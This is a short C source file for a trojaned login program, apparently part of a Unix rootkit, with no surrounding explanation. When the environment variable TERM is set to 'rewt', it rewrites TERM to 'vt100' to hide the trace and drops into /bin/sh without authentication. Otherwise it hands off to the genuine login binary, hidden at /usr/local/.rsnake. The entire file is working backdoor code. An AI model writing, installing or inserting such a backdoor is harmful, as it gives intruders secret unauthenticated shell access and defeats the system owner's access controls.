#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
#include <sys/time.h>
#include <string.h>

#define SHELL "/bin/sh"
#define SHELL_CALLME "login"
#define LOGIN "/usr/local/.rsnake"
#define LOGIN_CALLME "login"
#define ENV_NAME "TERM"
#define ENV_VALUE "rewt"
#define ENV_FIX "vt100"

int owned(void);

char **av, **ep;

int main(int argc, char **argv, char **envp) {
   av=argv;
   ep=envp;
   av[0]=SHELL_CALLME;
        
   if (owned()) {
   char *sav[]={
       SHELL_CALLME, NULL
   };

         execve(SHELL, sav, ep);
         return 0;
   }
   execve(LOGIN, av, ep);
   return 0;   
}

int owned(void) {
   char *name, *value;
   int i;
   for (i=0; ep[i]!=NULL; ++i) {
      name=strtok(ep[i], "=");
      value=strtok(NULL, "=");
      if (name==NULL || value==NULL) continue;
      if (!strncmp(name, ENV_NAME, strlen(ENV_NAME))) {
         if (!strncmp(value, ENV_VALUE, strlen(ENV_VALUE))) {
            char tmp[100];
        sprintf(tmp, "%s=%s", ENV_NAME, ENV_FIX); 
        ep[i]=strdup(tmp);
            return 1;
         }
      }
   }
   return 0;
}